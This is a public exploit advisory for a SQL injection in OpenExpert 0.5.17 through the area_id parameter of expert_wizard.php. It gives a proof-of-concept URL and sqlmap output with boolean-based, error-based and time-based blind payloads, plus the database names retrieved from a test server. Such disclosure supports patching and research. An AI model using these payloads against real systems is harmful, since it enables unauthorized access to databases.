OpenExpert 0.5.17 SQL Injection

2017.01.19
Credit: Nassim Asrir
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Title : Openexpert 0.5.17 - Sql Injection # Author: Nassim Asrir # Author Company: Henceforth # Tested on: Winxp sp3 - win7 # Vendor: https://sourceforge.net/projects/law-expert/ # Download Software: https://sourceforge.net/projects/law-expert/files/ ################################################# ## About The Product : ## OpenExpert. Dual use Web based and Easy to Use Expert System or Education System. ## Vulnerability : ## - Vulnerable Parametre : area_id - HTTP Method : GET - To exploit it : http://HOST/expert_wizard.php?area_id=1' - Sqlmap Output : Parameter: area_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: area_id=1 AND 4961=4961 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: area_id=1 AND (SELECT 8855 FROM(SELECT COUNT(*),CONCAT(0x7171706a71,(SELECT (ELT(8855=8855,1))),0x71626b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: area_id=1 AND SLEEP(5) --- [15:35:38] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.23, PHP 5.6.26 back-end DBMS: MySQL >= 5.0 [15:35:38] [INFO] fetching database names [15:35:39] [INFO] the SQL query used returns 5 entries [15:35:39] [INFO] retrieved: information_schema [15:35:39] [INFO] retrieved: mysql [15:35:39] [INFO] retrieved: performance_schema [15:35:39] [INFO] retrieved: sys [15:35:39] [INFO] retrieved: test


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